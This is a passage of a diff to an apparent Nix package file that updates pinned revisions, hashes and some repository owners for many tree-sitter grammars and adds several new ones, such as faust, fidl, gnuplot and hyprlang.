+559,12 @@ }; embedded_template = buildGrammar { language = "embedded_template"; - version = "0.0.0+rev=203f7bd"; + version = "0.0.0+rev=6d791b8"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-embedded-template"; - rev = "203f7bd3c1bbfbd98fc19add4b8fcb213c059205"; - hash = "sha256-SaZkyy2wKYoK0+pdHLVpQrdXjEeX/uR5XxgahcAdwz0="; + rev = "6d791b897ecda59baa0689a85a9906348a2a6414"; + hash = "sha256-I4L3mxkAnmKs+BiNRDAs58QFD2r8jN1B2yv0dZdgkzQ="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-embedded-template"; }; @@ -581,16 +590,38 @@ }; meta.homepage = "https://github.com/FacilityApi/tree-sitter-facility"; }; + faust = buildGrammar { + language = "faust"; + version = "0.0.0+rev=f3b9274"; + src = fetchFromGitHub { + owner = "khiner"; + repo = "tree-sitter-faust"; + rev = "f3b9274514b5f9bf6b0dd4a01c30f9cc15c58bc4"; + hash = "sha256-JwR8LCEptgQmEG/ruK5ukIGCNtvKJw5bobZ0WXF1ulY="; + }; + meta.homepage = "https://github.com/khiner/tree-sitter-faust"; + }; fennel = buildGrammar { language = "fennel"; - version = "0.0.0+rev=5171959"; + version = "0.0.0+rev=215e391"; src = fetchFromGitHub { - owner = "travonted"; + owner = "alexmozaidze"; repo = "tree-sitter-fennel"; - rev = "517195970428aacca60891b050aa53eabf4ba78d"; - hash = "sha256-7bmrLJunNAus8XbBcBiTS5enhSzZ1mecAAyqlZUtSgo="; + rev = "215e3913524abc119daa9db7cf6ad2f2f5620189"; + hash = "sha256-myh0+ZNDzdUZFAdsw8uVGyo0VYh0wKNZ11vlJKTSZnA="; }; - meta.homepage = "https://github.com/travonted/tree-sitter-fennel"; + meta.homepage = "https://github.com/alexmozaidze/tree-sitter-fennel"; + }; + fidl = buildGrammar { + language = "fidl"; + version = "0.0.0+rev=0a8910f"; + src = fetchFromGitHub { + owner = "google"; + repo = "tree-sitter-fidl"; + rev = "0a8910f293268e27ff554357c229ba172b0eaed2"; + hash = "sha256-QFAkxQo2w/+OR7nZn9ldBk2yHOd23kzciAcQvIZ5hrY="; + }; + meta.homepage = "https://github.com/google/tree-sitter-fidl"; }; firrtl = buildGrammar { language = "firrtl"; @@ -682,15 +713,26 @@ }; gdscript = buildGrammar { language = "gdscript"; - version = "0.0.0+rev=03f20b9"; + version = "0.0.0+rev=b5dea4d"; src = fetchFromGitHub { owner = "PrestonKnopp"; repo = "tree-sitter-gdscript"; - rev = "03f20b94707a21bed90bb95101684bc4036139ce"; - hash = "sha256-im87Rws9PPcBWNN0M8PNqnthJZlWKzn3iPLMGR+jtGo="; + rev = "b5dea4d852db65f0872d849c24533eb121e03c76"; + hash = "sha256-/fmg7DfVX62F3sEovFaMs4dTA4rvPexOdQop3257op4="; }; meta.homepage = "https://github.com/PrestonKnopp/tree-sitter-gdscript"; }; + gdshader = buildGrammar { + language = "gdshader"; + version = "0.0.0+rev=ffd9f95"; + src = fetchFromGitHub { + owner = "GodOfAvacyn"; + repo = "tree-sitter-gdshader"; + rev = "ffd9f958df13cae04593781d7d2562295a872455"; + hash = "sha256-JWlDs0w10TqsPYgZvvaJwAueOciCYaws1Nr8rb0UKy4="; + }; + meta.homepage = "https://github.com/GodOfAvacyn/tree-sitter-gdshader"; + }; git_config = buildGrammar { language = "git_config"; version = "0.0.0+rev=9c2a1b7"; @@ -715,23 +757,23 @@ }; gitattributes = buildGrammar { language = "gitattributes"; - version = "0.0.0+rev=19d554d"; + version = "0.0.0+rev=41940e1"; src = fetchFromGitHub { owner = "ObserverOfTime"; repo = "tree-sitter-gitattributes"; - rev = "19d554d39e4a8491f7a77abcdb75bfbc1c19d0b5"; - hash = "sha256-/mbnDUMVeyFmkkk/9AdhTvAjSeZcyc2rFgzaPJBiNs4="; + rev = "41940e199ba5763abea1d21b4f717014b45f01ea"; + hash = "sha256-h9RPFI40C4LxjjKZEKkVCnUjNkh6Tgl74msSTpju7ZY="; }; meta.homepage = "https://github.com/ObserverOfTime/tree-sitter-gitattributes"; }; gitcommit = buildGrammar { language = "gitcommit"; - version = "0.0.0+rev=e8d9eda"; + version = "0.0.0+rev=6bd8196"; src = fetchFromGitHub { owner = "gbprod"; repo = "tree-sitter-gitcommit"; - rev = "e8d9eda4e5ea0b08aa39d48dab0f6553058fbe0f"; - hash = "sha256-gn945mu9JhLocKjdNbUhQnDvXNy2xxMn36oNOsbNOz4="; + rev = "6bd81962d1abe309bf5dffde3315e4a5988f35fd"; + hash = "sha256-aSgnTbhpekeDDUzz9hecebW5ejCnmLiE5d1fTTxP19g="; }; meta.homepage = "https://github.com/gbprod/tree-sitter-gitcommit"; }; @@ -770,12 +812,12 @@ }; glsl = buildGrammar { language = "glsl"; - version = "0.0.0+rev=5bb58a6"; + version = "0.0.0+rev=284bed0"; src = fetchFromGitHub { owner = "theHamsta"; repo = "tree-sitter-glsl"; - rev = "5bb58a6a5b0941d4e1256c6335e50d9780e74dde"; - hash = "sha256-k2hs8psjVJ2HcNZoVaM4k81uccmacqbl7VxDXXOAQzA="; + rev = "284bed0e2f1d9f700756b96512baf33483642ff0"; + hash = "sha256-pyxMMXDwpu4IOXVzBX1LteD6pmRVCcijCyzMioqjlO0="; }; meta.homepage = "https://github.com/theHamsta/tree-sitter-glsl"; }; @@ -790,14 +832,25 @@ }; meta.homepage = "https://github.com/amaanq/tree-sitter-gn"; }; + gnuplot = buildGrammar { + language = "gnuplot"; + version = "0.0.0+rev=7549f6f"; + src = fetchFromGitHub { + owner = "dpezto"; + repo = "tree-sitter-gnuplot"; + rev = "7549f6faf5cc9fb8cf78054a7af356a6b003c6f3"; + hash = "sha256-AnSOI1pAMHtlkK6VcRuTCEsnXP3Sm2O95Eiwdx15UzM="; + }; + meta.homepage = "https://github.com/dpezto/tree-sitter-gnuplot"; + }; go = buildGrammar { language = "go"; - version = "0.0.0+rev=ff86c7f"; + version = "0.0.0+rev=fd577c4"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-go"; - rev = "ff86c7f1734873c8c4874ca4dd95603695686d7a"; - hash = "sha256-0oXApYf6Ht9xWrWMMaumac1Rqg52GMYW0bAhRbQ8To0="; + rev = "fd577c4358c28cbcb6748bbf65354cc85f1cf7a4"; + hash = "sha256-Fz9xSyjJLbNXAXbYMoVDsRqyRrLTWHAxnQBV9EF6n78="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-go"; }; @@ -847,12 +900,12 @@ }; gpg = buildGrammar { language = "gpg"; - version = "0.0.0+rev=18b2690"; + version = "0.0.0+rev=d4c9cc0"; src = fetchFromGitHub { owner = "ObserverOfTime"; repo = "tree-sitter-gpg-config"; - rev = "18b2690a15f061a6ff48730589f7a4039af2d002"; - hash = "sha256-KLyXe1Xt1OPHmOMGX+ulVdjDhBpE31lO7/nGNiI4wt0="; + rev = "d4c9cc0060cd4d1b8ca6d7add9f34352ad310a09"; + hash = "sha256-kV9GN0qdVNA7LFYoCM/ISEW4Mpd5v9+oHV83XgEJTRs="; }; meta.homepage = "https://github.com/ObserverOfTime/tree-sitter-gpg-config"; }; @@ -869,14 +922,14 @@ }; groovy = buildGrammar { language = "groovy"; - version = "0.0.0+rev=7e02322"; + version = "0.0.0+rev=3c25d1c"; src = fetchFromGitHub { - owner = "Decodetalkers"; + owner = "murtaza64"; repo = "tree-sitter-groovy"; - rev = "7e023227f46fee428b16a0288eeb0f65ee2523ec"; - hash = "sha256-tWLc5guc5dxKHoACN3Byo/KV+2i/u2tpZgaS+Yi+CyA="; + rev = "3c25d1ce6c1eb9da34215060372792dc9f439b0c"; + hash = "sha256-VWIURpQoofmva6GWnOzq8niYklp5yOHH5ZuE8oDpzfs="; }; - meta.homepage = "https://github.com/Decodetalkers/tree-sitter-groovy"; + meta.homepage = "https://github.com/murtaza64/tree-sitter-groovy"; }; gstlaunch = buildGrammar { language = "gstlaunch"; @@ -913,12 +966,12 @@ }; haskell = buildGrammar { language = "haskell"; - version = "0.0.0+rev=dd924b8"; + version = "0.0.0+rev=6b5ec20"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-haskell"; - rev = "dd924b8df1eb76261f009e149fc6f3291c5081c2"; - hash = "sha256-rm9EeoZ5mO4bHAB0+E+6teKCicghQ46W7VvLfv3Za7I="; + rev = "6b5ec205c9d4f23eb36a163f1edc4f2db8c98e4a"; + hash = "sha256-TFI524Pb5RhoPLHJ0ucSKJcWJDmIX6PJELSHRd2ic7Q="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-haskell"; }; @@ -968,15 +1021,26 @@ }; hlsl = buildGrammar { language = "hlsl"; - version = "0.0.0+rev=8b10fab"; + version = "0.0.0+rev=ee24be1"; src = fetchFromGitHub { owner = "theHamsta"; repo = "tree-sitter-hlsl"; - rev = "8b10faba024b536dc85f76e0c678f573b1776034"; - hash = "sha256-9bl7RhZjQOqBOePB4Lx3FLR79svMSh7ZVe+YlFv27WU="; + rev = "ee24be127560f0de0c4741e382416f45ab47eb76"; + hash = "sha256-FMmJpyburjO/NKq14bQ9LbvxuiYdjBt5/Gfm/jeye0U="; }; meta.homepage = "https://github.com/theHamsta/tree-sitter-hlsl"; }; + hlsplaylist = buildGrammar { + language = "hlsplaylist"; + version = "0.0.0+rev=5be34b0"; + src = fetchFromGitHub { + owner = "Freed-Wu"; + repo = "tree-sitter-hlsplaylist"; + rev = "5be34b0f6ea01b24f017c2c715729a3a919f57fd"; + hash = "sha256-3ZFaIc4BrfR7dLxftbSLuFdErjYrJgi0Cd8jp9PB19U="; + }; + meta.homepage = "https://github.com/Freed-Wu/tree-sitter-hlsplaylist"; + }; hocon = buildGrammar { language = "hocon"; version = "0.0.0+rev=c390f10"; @@ -1001,12 +1065,12 @@ }; html = buildGrammar { language = "html"; - version = "0.0.0+rev=949b780"; + version = "0.0.0+rev=b5d9758"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-html"; - rev = "949b78051835564bca937565241e5e337d838502"; - hash = "sha256-njOFN1I+Ezg6N6v/FMPk0FKnlPnvfHijqISxex6fO40="; + rev = "b5d9758e22b4d3d25704b72526670759a9e4d195"; + hash = "sha256-v3BD36OKkzJ1xqQV87HAyQpnQzi/4+PuyEAM1HfkW3U="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-html"; }; @@ -1043,6 +1107,17 @@ }; meta.homepage = "https://github.com/pfeiferj/tree-sitter-hurl"; }; + hyprlang = buildGrammar { + language = "hyprlang"; + version = "0.0.0+rev=fc1d331"; + src = fetchFromGitHub { + owner = "luckasRanarison"; + repo = "tree-sitter-hyprlang"; + rev = "fc1d331586e4da2b5f5bcfa89d630ebafe66458b"; + hash = "sha256-powQTRaYmGGEdkmt59kLfdbLZRkRFbGra6PRnno0AUo="; + }; + meta.homepage = "https://github.com/luckasRanarison/tree-sitter-hyprlang"; + }; ini = buildGrammar { language = "ini"; version = "0.0.0+rev=bcb84a2"; @@ -1078,23 +1153,23 @@ }; java = buildGrammar { language = "java"; - version = "0.0.0+rev=2b57cd9"; + version = "0.0.0+rev=99b29f1"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-java"; - rev = "2b57cd9541f9fd3a89207d054ce8fbe72657c444"; - hash = "sha256-Zo+KQ6TOjdJODNppTkt8XPE+WroNB5M6+n2XF+OrD8o="; + rev = "99b29f1ed957b3b424b6e21f57bd21a9732a622a"; + hash = "sha256-2A3dXO+N3M7GEiI06Dn28vU73Bow6vK0deC85mY058Q="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-java"; }; javascript = buildGrammar { language = "javascript"; - version = "0.0.0+rev=f1e5a09"; + version = "0.0.0+rev=51aed72"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-javascript"; - rev = "f1e5a09b8d02f8209a68249c93f0ad647b228e6e"; - hash = "sha256-VbK2asd1CavcBYGia30MomQh+KOgKgz5ax10V6nEVEs="; + rev = "51aed7263d33bee46b0a8a5e165ffcb690d5aca8"; + hash = "sha256-FDnVwYpPgenOTgWaX/VdmtUmmIbCm/TtkiQ3TFoQjYY="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-javascript"; }; @@ -1111,23 +1186,23 @@ }; jsdoc = buildGrammar { language = "jsdoc"; - version = "0.0.0+rev=d01984d"; + version = "0.0.0+rev=6a6cf9e"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-jsdoc"; - rev = "d01984de49927c979b46ea5c01b78c8ddd79baf9"; - hash = "sha256-O7iDoOlXi+HLesS/sKcYfb+EJLR6gfRkwA657aRRg4c="; + rev = "6a6cf9e7341af32d8e2b2e24a37fbfebefc3dc55"; + hash = "sha256-fKscFhgZ/BQnYnE5EwurFZgiE//O0WagRIHVtDyes/Y="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-jsdoc"; }; json = buildGrammar { language = "json"; - version = "0.0.0+rev=3fef30d"; + version = "0.0.0+rev=3b12920"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-json"; - rev = "3fef30de8aee74600f25ec2e319b62a1a870d51e"; - hash = "sha256-Msnct7JzPBIR9+PIBZCJTRdVMUzhaDTKkl3JaDUKAgo="; + rev = "3b129203f4b72d532f58e72c5310c0a7db3b8e6d"; + hash = "sha256-dVErHgsUDEN42wc/Gd68vQfVc8+/r/8No9KZk2GFzmY="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-json"; }; @@ -1166,45 +1241,45 @@ }; julia = buildGrammar { language = "julia"; - version = "0.0.0+rev=0c088d1"; + version = "0.0.0+rev=e84f10d"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-julia"; - rev = "0c088d1ad270f02c4e84189247ac7001e86fe342"; - hash = "sha256-WEmuLNUoOyWkcDlVcf8ucdraPEi+gClAw8z9Gx51gpo="; + rev = "e84f10db8eeb8b9807786bfc658808edaa1b4fa2"; + hash = "sha256-jrQjVPLb6SfePxEJV1GgFgLslGxgdmdb8bJy6VHOEbs="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-julia"; }; kconfig = buildGrammar { language = "kconfig"; - version = "0.0.0+rev=2ba709d"; + version = "0.0.0+rev=486fea7"; src = fetchFromGitHub { owner = "amaanq"; repo = "tree-sitter-kconfig"; - rev = "2ba709d40caa6c1f68b26e55ff7a53e343154cfd"; - hash = "sha256-36x4t+HPuj+QEmOetlE3JowaAXP6eUhvkx9pZduBWgA="; + rev = "486fea71f61ad9f3fd4072a118402e97fe88d26c"; + hash = "sha256-a3uTjtA4KQ8KxEmpva2oHcqp8EwbI5+h9U+qoPSgDd4="; }; meta.homepage = "https://github.com/amaanq/tree-sitter-kconfig"; }; kdl = buildGrammar { language = "kdl"; - version = "0.0.0+rev=e180e05"; + version = "0.0.0+rev=49fb89a"; src = fetchFromGitHub { owner = "amaanq"; repo = "tree-sitter-kdl"; - rev = "e180e05132c4cb229a8ba679b298790ef1eca77c"; - hash = "sha256-XJ2thChaJQjn0N/tqotjc/eR3W4+6GrNv/FxjvScswc="; + rev = "49fb89a854d93b58a65a19724ac307195ca11941"; + hash = "sha256-U8N6aaTyYT6zaOKJ8S+3dMjS4ngxc9Yo7g4OFi03RR4="; }; meta.homepage = "https://github.com/amaanq/tree-sitter-kdl"; }; kotlin = buildGrammar { language = "kotlin"; - version = "0.0.0+rev=0ef8789"; + version = "0.0.0+rev=4e909d6"; src = fetchFromGitHub { owner = "fwcd"; repo = "tree-sitter-kotlin"; - rev = "0ef87892401bb01c84b40916e1f150197bc134b1"; - hash = "sha256-A48osbWX8rkM5UlHcSX3t7PJ97IhsNe+JUTB4fnkDAE="; + rev = "4e909d6cc9ac96b4eaecb3fb538eaca48e9e9ee9"; + hash = "sha256-Rmq5G+7h/XSNX7JYtpAKcWbOZ1aZpBpe9GpaizK2DRk="; }; meta.homepage = "https://github.com/fwcd/tree-sitter-kotlin"; }; @@ -1221,23 +1296,23 @@ }; lalrpop = buildGrammar { language = "lalrpop"; - version = "0.0.0+rev=06ae1b6"; + version = "0.0.0+rev=456dec2"; src = fetchFromGitHub { owner = "traxys"; repo = "tree-sitter-lalrpop"; - rev = "06ae1b6c26e23c77c7fb86d51dddad62b42e66b0"; - hash = "sha256-kYJDTT4gsiRhOzAuRdLY5IxtnqNDBABbxgtAMm9L9qw="; + rev = "456dec2990ed7e9595eca82f85db14a1db46e126"; + hash = "sha256-9lBgCmXfsvNZiI6KzOxLE4S9Eh2B6FSAMX3d5Oz9mQg="; }; meta.homepage = "https://github.com/traxys/tree-sitter-lalrpop"; }; latex = buildGrammar { language = "latex"; - version = "0.0.0+rev=2ae2021"; + version = "0.0.0+rev=841f89f"; src = fetchFromGitHub { owner = "latex-lsp"; repo = "tree-sitter-latex"; - rev = "2ae2021d7b224fb6aa57b760e0d146059f943bb8"; - hash = "sha256-790DbJ/nOQvH8WH6MDZZcAKANQTg1fQPGXS4BI2UbmE="; + rev = "841f89ffbba9650529a40fb867f3456bf92bf9b1"; + hash = "sha256-OVPWwjRD/pYHk+iBskVuvum8+mNjIbAqJOMU22VE7CY="; }; meta.homepage = "https://github.com/latex-lsp/tree-sitter-latex"; }; @@ -1276,12 +1351,12 @@ }; liquidsoap = buildGrammar { language = "liquidsoap"; - version = "0.0.0+rev=691484a"; + version = "0.0.0+rev=fb062bf"; src = fetchFromGitHub { owner = "savonet"; repo = "tree-sitter-liquidsoap"; - rev = "691484ae766c4eee2ac59ec09e621b27b9ed9add"; - hash = "sha256-fuvT4k/NdtMNsU0rD5z9IpJ8Hc7dHTJiMWDvpShzUMY="; + rev = "fb062bfc7ca09a741820debb7cb8a75a557b30f9"; + hash = "sha256-Q3ML8h6GU3KxL0G7JUAKwqNVgQBtDeQJANKF5h+MApQ="; }; meta.homepage = "https://github.com/savonet/tree-sitter-liquidsoap"; }; @@ -1298,23 +1373,23 @@ }; lua = buildGrammar { language = "lua"; - version = "0.0.0+rev=9668709"; + version = "0.0.0+rev=04c9579"; src = fetchFromGitHub { owner = "MunifTanjim"; repo = "tree-sitter-lua"; - rev = "9668709211b2e683f27f414454a8b51bf0a6bda1"; - hash = "sha256-5t5w8KqbefInNbA12/jpNzmky/uOUhsLjKdEqpl1GEc="; + rev = "04c9579dcb917255b2e5f8199df4ae7f587d472f"; + hash = "sha256-kzyn6XF4/PN8civ/0UV+ancCMkh7DF2B7WUYxix6aaM="; }; meta.homepage = "https://github.com/MunifTanjim/tree-sitter-lua"; }; luadoc = buildGrammar { language = "luadoc"; - version = "0.0.0+rev=d82b430"; + version = "0.0.0+rev=873612a"; src = fetchFromGitHub { owner = "amaanq"; repo = "tree-sitter-luadoc"; - rev = "d82b43018a6b22d70b264ed8713be1c4daf9b0e0"; - hash = "sha256-x1VyDzIAozcCBO6pukhwUjZ5JiZVq2+5CMWE2XXf6Fw="; + rev = "873612aadd3f684dd4e631bdf42ea8990c57634e"; + hash = "sha256-ttGBB9sn+xd9jWzjNAzpo/lwYVYZGSUGEip4K3PfBP0="; }; meta.homepage = "https://github.com/amaanq/tree-sitter-luadoc"; }; @@ -1364,24 +1439,24 @@ }; markdown = buildGrammar { language = "markdown"; - version = "0.0.0+rev=28aa3ba"; + version = "0.0.0+rev=2821521"; src = fetchFromGitHub { owner = "MDeiml"; repo = "tree-sitter-markdown"; - rev = "28aa3baef73bd458d053b613b8bd10fd102b4405"; - hash = "sha256-HSjKYqjrJKPLbdq1UTvk/KnDqsIzVO7k5syCsIpAZpw="; + rev = "2821521a4e6eab37b63dff6a8e169cd88554047d"; + hash = "sha256-JoZ/CKIMHVowwqTMFdys+Qu1CHMsP+8Wr2LJo5h30B4="; }; location = "tree-sitter-markdown"; meta.homepage = "https://github.com/MDeiml/tree-sitter-markdown"; }; markdown_inline = buildGrammar { language = "markdown_inline"; - version = "0.0.0+rev=28aa3ba"; + version = "0.0.0+rev=2821521"; src = fetchFromGitHub { owner = "MDeiml"; repo = "tree-sitter-markdown"; - rev = "28aa3baef73bd458d053b613b8bd10fd102b4405"; - hash = "sha256-HSjKYqjrJKPLbdq1UTvk/KnDqsIzVO7k5syCsIpAZpw="; + rev = "2821521a4e6eab37b63dff6a8e169cd88554047d"; + hash = "sha256-JoZ/CKIMHVowwqTMFdys+Qu1CHMsP+8Wr2LJo5h30B4="; }; location = "tree-sitter-markdown-inline"; meta.homepage = "https://github.com/MDeiml/tree-sitter-markdown"; @@ -1410,38 +1485,49 @@ }; mermaid = buildGrammar { language = "mermaid"; - version = "0.0.0+rev=e26a5f8"; + version = "0.0.0+rev=e8dac87"; src = fetchFromGitHub { owner = "monaqa"; repo = "tree-sitter-mermaid"; - rev = "e26a5f8898a8174f02b4cc9a9050eb3ccfb799f3"; - hash = "sha256-qDJy2kPpx3wPl8IuhPM5ynhI2DjgutSFWAg5EQY5F+8="; + rev = "e8dac87a9f789b23a2c7ab8e55b485a2f5927b98"; + hash = "sha256-1FCc8goKhFtgxSPeAzFkQhpbpruhZ+GD8VaLRJpnyS4="; }; meta.homepage = "https://github.com/monaqa/tree-sitter-mermaid"; }; meson = buildGrammar { language = "meson"; - version = "0.0.0+rev=3d6dfbd"; + version = "0.0.0+rev=d6ec8ce"; src = fetchFromGitHub { owner = "Decodetalkers"; repo = "tree-sitter-meson"; - rev = "3d6dfbdb2432603bc84ca7dc009bb39ed9a8a7b1"; - hash = "sha256-NRiecSr5UjISlFtmtvy3SYaWSmXMf0bKCKQVA83Jx+Y="; + rev = "d6ec8ce0963c3c8180161391f15d8f7d415f650d"; + hash = "sha256-SwcBhg6luPAOtaL5dhvLxCpJcwlGhZxhvVmn5pa6ecA="; }; meta.homepage = "https://github.com/Decodetalkers/tree-sitter-meson"; }; mlir = buildGrammar { language = "mlir"; - version = "0.0.0+rev=650a8fb"; + version = "0.0.0+rev=117cbbc"; src = fetchFromGitHub { owner = "artagnon"; repo = "tree-sitter-mlir"; - rev = "650a8fb72013ba8d169bdb458e480d640fc545c9"; - hash = "sha256-Xmn5WaOgvAVyr1Bgzr+QG9G/kymtl4CUvLL5SPZdikU="; + rev = "117cbbc46bbf82ae30b24f8939573655017226da"; + hash = "sha256-c0+Pvhe++fHmRL9Ptri+vsdRN3MCb2Z/7EqWmFaK/CE="; }; generate = true; meta.homepage = "https://github.com/artagnon/tree-sitter-mlir"; }; + muttrc = buildGrammar { + language = "muttrc"; + version = "0.0.0+rev=67d9e23"; + src = fetchFromGitHub { + owner = "neomutt"; + repo = "tree-sitter-muttrc"; + rev = "67d9e23ca7aa22d9bce9d16c53d2c927dff5159a"; + hash = "sha256-B3/VoPq8h7TiwOP0nhsuPmFtkLsucpDm9RnUNXkfKpo="; + }; + meta.homepage = "https://github.com/neomutt/tree-sitter-muttrc"; + }; nasm = buildGrammar { language = "nasm"; version = "0.0.0+rev=3bc691d"; @@ -1455,23 +1541,23 @@ }; nickel = buildGrammar { language = "nickel"; - version = "0.0.0+rev=091b5dc"; + version = "0.0.0+rev=33a64ec"; src = fetchFromGitHub { owner = "nickel-lang"; repo = "tree-sitter-nickel"; - rev = "091b5dcc7d138901bcc162da9409c0bb626c0d27"; - hash = "sha256-HyHdameEgET5UXKMgw7EJvZsJxToc9Qz26XHvc5qmU0="; + rev = "33a64ec9a27058c52e4195f1030235dcdfc04747"; + hash = "sha256-gTOePRg5ZEXfBL35biG6abpxW2eycgbHIzaL6w4g8rc="; }; meta.homepage = "https://github.com/nickel-lang/tree-sitter-nickel"; }; nim = buildGrammar { language = "nim"; - version = "0.0.0+rev=70ceee8"; + version = "0.0.0+rev=f5cec6a"; src = fetchFromGitHub { owner = "alaviss"; repo = "tree-sitter-nim"; - rev = "70ceee835e033acbc7092cd7f4f6a251789af121"; - hash = "sha256-9+ADYNrtdva/DkkjPwavyU0cL6eunqq4TX9IUQi9eKw="; + rev = "f5cec6a841b585e4e7388a120ded07e60ae19c43"; + hash = "sha256-CL041Tjw7CH9EnpjAVl4f66zyOADfG9qwkFxeUjXH0w="; }; meta.homepage = "https://github.com/alaviss/tree-sitter-nim"; }; @@ -1554,24 +1640,24 @@ }; ocaml = buildGrammar { language = "ocaml"; - version = "0.0.0+rev=4abfdc1"; + version = "0.0.0+rev=9965d20"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-ocaml"; - rev = "4abfdc1c7af2c6c77a370aee974627be1c285b3b"; - hash = "sha256-ycmjIKfrsVSVHmPP3HCxfk5wcBIF/JFH8OnU8mY1Cc8="; + rev = "9965d208337d88bbf1a38ad0b0fe49e5f5ec9677"; + hash = "sha256-9Y/eZNsKkz8RKjMn5RIAPITkDQTWdSc/fBXzxMg1ViQ="; }; location = "ocaml"; meta.homepage = "https://github.com/tree-sitter/tree-sitter-ocaml"; }; ocaml_interface = buildGrammar { language = "ocaml_interface"; - version = "0.0.0+rev=4abfdc1"; + version = "0.0.0+rev=9965d20"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-ocaml"; - rev = "4abfdc1c7af2c6c77a370aee974627be1c285b3b"; - hash = "sha256-ycmjIKfrsVSVHmPP3HCxfk5wcBIF/JFH8OnU8mY1Cc8="; + rev = "9965d208337d88bbf1a38ad0b0fe49e5f5ec9677"; + hash = "sha256-9Y/eZNsKkz8RKjMn5RIAPITkDQTWdSc/fBXzxMg1ViQ="; }; location = "interface"; meta.homepage = "https://github.com/tree-sitter/tree-sitter-ocaml"; @@ -1590,12 +1676,12 @@ }; odin = buildGrammar { language = "odin"; - version = "0.0.0+rev=751f779"; + version = "0.0.0+rev=f94c590"; src = fetchFromGitHub { owner = "amaanq"; repo = "tree-sitter-odin"; - rev = "751f7796fa76075cff52edd1afff569a8a09c2a7"; - hash = "sha256-VKcyuoXSRN4PAHQKzfuCKB9lg5y5MQyofy3FkN79Nrw="; + rev = "f94c590ed5263e11f1e492d1b53356f8c8459b66"; + hash = "sha256-MLSy1OU8PE2wTfV8JoJdtjoc12MD993TViaZjp3Ujgc="; }; meta.homepage = "https://github.com/amaanq/tree-sitter-odin"; }; @@ -1634,58 +1720,58 @@ }; pem = buildGrammar { language = "pem"; - version = "0.0.0+rev=e017679"; + version = "0.0.0+rev=217ff2a"; src = fetchFromGitHub { owner = "ObserverOfTime"; repo = "tree-sitter-pem"; - rev = "e01767921df18142055d97407595329d7629e643"; - hash = "sha256-8hSWC9Q5oy0+8l/uG4QWVupiYqSWMRfZXGH6PpTx+O8="; + rev = "217ff2af3f2db15a79ab7e3d21ea1e0c17e71a1a"; + hash = "sha256-KGJ9ulGi3gKUJxNXil5Zai4v5/5ImUSMVP3/19ra3A0="; }; meta.homepage = "https://github.com/ObserverOfTime/tree-sitter-pem"; }; perl = buildGrammar { language = "perl"; - version = "0.0.0+rev=a30394f"; + version = "0.0.0+rev=6526e5d"; src = fetchFromGitHub { owner = "tree-sitter-perl"; repo = "tree-sitter-perl"; - rev = "a30394f61b607f48c841c6e085d5219f23872816"; - hash = "sha256-3aWBh5jKXUYXxOv+RKyEpwJVOoP7QuaRQZHw0yOy6tQ="; + rev = "6526e5d5bf31501de0dc51c42ac3583078a8fdab"; + hash = "sha256-jqLYYHpcwt2ctcz6zbgyhG6p3yRLHvr9TlUMky2cfaM="; }; meta.homepage = "https://github.com/tree-sitter-perl/tree-sitter-perl"; }; php = buildGrammar { language = "php"; - version = "0.0.0+rev=dc8bd41"; + version = "0.0.0+rev=78a78df"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-php"; - rev = "dc8bd4150401f6c08591414f2a5480b7f2a874c8"; - hash = "sha256-gQGj6qKjyAie6RgHZl1nVUiELDyR+/iIzFMQQ/obus8="; + rev = "78a78df5e06b4c13173af2a1f607c9a853d0f240"; + hash = "sha256-N7qbOQethP/ZZHu5r+SJYCdrX4FVg72YuyULpuMUAhw="; }; location = "php"; meta.homepage = "https://github.com/tree-sitter/tree-sitter-php"; }; php_only = buildGrammar { language = "php_only"; - version = "0.0.0+rev=dc8bd41"; + version = "0.0.0+rev=78a78df"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-php"; - rev = "dc8bd4150401f6c08591414f2a5480b7f2a874c8"; - hash = "sha256-gQGj6qKjyAie6RgHZl1nVUiELDyR+/iIzFMQQ/obus8="; + rev = "78a78df5e06b4c13173af2a1f607c9a853d0f240"; + hash = "sha256-N7qbOQethP/ZZHu5r+SJYCdrX4FVg72YuyULpuMUAhw="; }; location = "php_only"; meta.homepage = "https://github.com/tree-sitter/tree-sitter-php"; }; phpdoc = buildGrammar { language = "phpdoc"; - version = "0.0.0+rev=67db260"; + version = "0.0.0+rev=f285e33"; src = fetchFromGitHub { owner = "claytonrcarter"; repo = "tree-sitter-phpdoc"; - rev = "67db260cf4e99a02283ae26b808d59b86d42dc0f"; - hash = "sha256-IMj5xL1SB1JYI0hweIq+kSXkoeWBqAzAu/35FO2xi+U="; + rev = "f285e338d328a03920a9bfd8dda78585c7ddcca3"; + hash = "sha256-kvAZ1+tbw6bAtLhPeNGi1rmnyNhBSL/nynQADX+4tMw="; }; meta.homepage = "https://github.com/claytonrcarter/tree-sitter-phpdoc"; }; @@ -1724,12 +1810,12 @@ }; poe_filter = buildGrammar { language = "poe_filter"; - version = "0.0.0+rev=fa83292"; + version = "0.0.0+rev=592476d"; src = fetchFromGitHub { owner = "ObserverOfTime"; repo = "tree-sitter-poe-filter"; - rev = "fa83292e04d27976ab5c354e0c980f2c67628a02"; - hash = "sha256-Ij3anynA3ZYi4/Cxp+Anvgc2Te1Qxi0mnWDc0XTHaN0="; + rev = "592476d81f95d2451f2ca107dc872224c76fecdf"; + hash = "sha256-dmo/t8gCT7UTlhBvxH4xmliR3Evazv3qsz9EWz7h/gU="; }; meta.homepage = 